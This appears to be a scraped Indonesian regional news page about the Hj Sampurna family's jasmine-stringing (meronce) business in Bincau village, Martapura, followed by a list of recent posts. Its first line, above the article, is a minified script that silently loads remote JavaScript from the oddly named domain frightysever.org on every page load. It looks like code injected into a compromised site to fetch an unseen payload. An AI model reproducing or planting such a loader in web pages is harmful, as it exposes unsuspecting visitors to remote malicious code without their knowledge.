(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KanalReligi & Budaya

Melihat Usaha Ronce Bunga di Sentral Penghasil Melati


MARTAPURA – Sejak puluhan tahun silam, Desa Bincau di Kecamatan Martapura, dan beberapa desa tetangga yakni Desa Tabu dan Jinggah Habang, terkenal sebagai sentra penghasil bunga, khususnya melati.

Di sepanjang kiri dan kanan jalan di tiga desa ini, tanaman melati tumbuh subur di ladang dan pekarangan rumah warga. Selain melati, yang juga banyak ditanam adalah mawar dan kenanga.

Hasil panen melati yang melimpah di sepanjang tahun, tak ayal mewarnai denyut utama perekonomian warga yang memang sebagain besar berprofesi petani. Selaian dijual langsung untuk banyak keperluan, hasil panen melati juga telah menciptakan peluang usaha lain sebagai industri turunannya.

Salah satunya adalah usaha meronce atau merajut melati seperti yang digeluti kelurarga Hj Sampurna. “Umumnya, sebagai pelengkap riasan pengantin, bemandi-mandi tujuh bulanan, payung kambang, pita, dan kalung yang biasanya digunakan untuk menyambut tamu pejabat,” kata Hj Sampurna.

Di desanya, Hj Puna, begitu perempuan 58 tahun ini akrab disapa, termasuk generasi kedua setelah orangtuanya. Kemampuannya merajut melati dengan tali diperoleh langsung dari orangtuanya yang sebelumnya sudah lebih dulu ahli meronce melati.

Dikisahkan Hj Puna, sebelum dapat meronce melati, orangtuanya hanya pengumpul melati dari warga yang dijual lagi ke Banjarmasin. Mayoritas pembeli melati di Banjarmasin adalah perangkai bunga yang lazim dikenakan sebagai aksesoris pasangan pengantin.

Dari para perangkai bunga di Banjarmasin itulah, orangtua Hj Puna belajar hingga mahir merangkai bunga sendiri. Berbekal ilmu dari para perajin di Banjarmasin, usaha merangkai bunga dirintis.“Dari orangtua, temurun ke saya dan anak-anak saya,” kata Hj Puna.

Karena sebagai salah satu perintis usaha perangkai bunga, pesanan tak henti berdatangan, khususnya dari para pemilik usaha rias pengantin. Meski saat ini, telah banyak warga di desanya menggeluti usaha yang sama.


Page: 1 2

Desy Arfianty

Recent Posts

219 Pengawas Kelurahan Desa se Kabupaten HSU Dilantik

KANALKALIMANTAN.COM, AMUNTAI – Pengawas Kelurahan Desa (PKD) di 219 desa dan kelurahan se Kabupaten Hulu… Read More

11 menit ago

Ribuan Orang Hadiri Haul Ke-13 Abah Anang Djazouly

KANALKALIMANTAN.COM,MARTAPURA -  Ribuan orang dari berbagai tempat memadati kawasan kubah KH M Djazouly Fadil Seman… Read More

3 jam ago

Analis Minta Pemerintah Terbuka dan Jujur soal Tapera Potong Gaji Pekerja

KANALKALIMANTAN.COM, JAKARTA - Direktur Eksekutif Prakarsa, Ah Maftuchan, mengatakan pemerintah seharusnya bisa lebih terbuka dan… Read More

1 hari ago

Peringati Hari Lahir Pancasila, Ini Pesan Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semarak warna dan semangat cinta Tanah Air dalam peringatan Hari Lahir Pancasila… Read More

1 hari ago

Parade Hari Lahir Pancasila di Depan Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Ratusan pelajar, anggota TNI, Polri, dan pegawai di lingkungan Pemerintah Kota (Pemko)… Read More

1 hari ago

27 Anggota Purna Paskibraka 2023 Dikukuhkan

KANALKALIMANTAN.COM, MARTAPURA - Mewakili bupati Banjar, Kepala Badan Kesatuan Bangsa dan Politik (Kesbangpol) Kabupaten Banjar… Read More

1 hari ago

This website uses cookies.